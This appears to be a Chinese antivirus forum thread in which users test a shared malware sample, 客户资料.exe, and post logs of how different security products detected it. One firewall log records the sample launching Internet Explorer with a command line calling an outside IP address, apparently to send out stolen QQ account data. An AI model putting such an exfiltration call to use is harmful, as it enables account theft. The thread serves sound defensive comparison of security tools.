好东西

显示全部楼层 · 发表于 2013-3-31 22:47:00

允许读取QQ内存。

2013-03-31 22:41:17 运行应用程序操作:允许
进程路径:F:\virus\客户资料\客户资料.EXE
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行:http://50.115.129.182/wj/x.asp?U ... 54&W=0123456789
触发规则:所有程序规则->非系统进程操作 ->%ProgramFiles%\Internet Explorer\iexplore.exe

2013-03-31 22:42:54 运行应用程序操作:允许
进程路径:F:\virus\客户资料\客户资料.EXE
文件路径:C:\Program Files\Internet Explorer\IEXPLORE.EXE
命令行:http://50.115.129.182/wj/x.asp?U ... 54&W=1357924680
触发规则:所有程序规则->非系统进程操作 ->%ProgramFiles%\Internet Explorer\iexplore.exe

号被盗了，高兴，幸福。

显示全部楼层 · 发表于 2013-3-31 22:56:07

dongwenqi 发表于 2013-3-31 20:55
费尔进步很大嘛

费尔本身就很强大啊

显示全部楼层 · 发表于 2013-3-31 22:56:28

dongwenqi 发表于 2013-3-31 20:55
费尔进步很大嘛

费尔本身就很强大啊

显示全部楼层 · 发表于 2013-3-31 23:04:24

趋势主防可以杀

显示全部楼层 · 发表于 2013-3-31 23:19:40

过卡巴扫描,未测试双击

显示全部楼层 · 发表于 2013-3-31 23:38:19

2013-3-31 23:38:08 ESET Kernel File 'C:\Documents and Settings\Administrator\桌面\客户资料.7z' was sent to ESET for analysis.

显示全部楼层 · 发表于 2013-3-31 23:47:40

蓝天二号发表于 2013-3-31 20:47
火绒

又比我快

显示全部楼层 · 发表于 2013-4-1 01:10:55

这个粘虫动作比较大吧，NIS2013双击直接杀了。。。

文件名: 客户资料.exe
威胁名称: SONAR.Heuristic
完整路径: 不可用

____________________________

详细信息
极少用户信任的文件, 极新的文件, 风险高

原始
下载自 未知

活动
已执行的操作: 4

____________________________

在电脑上的创建时间 2013/4/1 ( 1:08:57 )
上次使用时间 2013/4/1 ( 1:08:57 )
启动项目否
已启动是

____________________________

极少用户信任的文件
诺顿社区中有不到 5 名用户使用了此文件。

极新的文件
该文件已在不到 1 周前发行。

高
此文件具有高风险。

SONAR 主动防护监视电脑上的可疑程序活动。

____________________________

来源: 外部介质
源文件:
winrar-x64-420sc.exe创建的文件:
winrar.exe创建的文件:
客户资料.exe

____________________________

文件操作

文件: c:\users\wjch\downloads\客户资料\客户资料.exe已删除
____________________________

系统设置操作

事件: 进程启动 (执行者 c:\users\wjch\downloads\客户资料\客户资料.exe, PID:3280)未采取操作
事件: PE 文件创建: c:\users\wjch\downloads\客户资料\prs.ini (执行者 c:\users\wjch\downloads\客户资料\客户资料.exe, PID:3280)未采取操作
事件: 进程启动: c:\users\wjch\downloads\客户资料\客户资料.exe, PID:3280 (执行者 c:\users\wjch\downloads\客户资料\客户资料.exe, PID:3280)未采取操作
____________________________

文件指纹 - SHA:
不可用
文件指纹 - MD5:
不可用

显示全部楼层 · 发表于 2013-4-1 01:13:59

wqcaokeyinwq 发表于 2013-3-31 20:43
微点和金山卫士保持沉默。。。。。。。。。。。。。。

显示全部楼层 · 发表于 2013-4-1 07:41:58

Killer_cg 发表于 2013-3-31 23:19
过卡巴扫描,未测试双击

请你更新病毒库，昨天回复了，看7楼

[病毒样本] 好东西

评分

本帖子中包含更多资源

本帖子中包含更多资源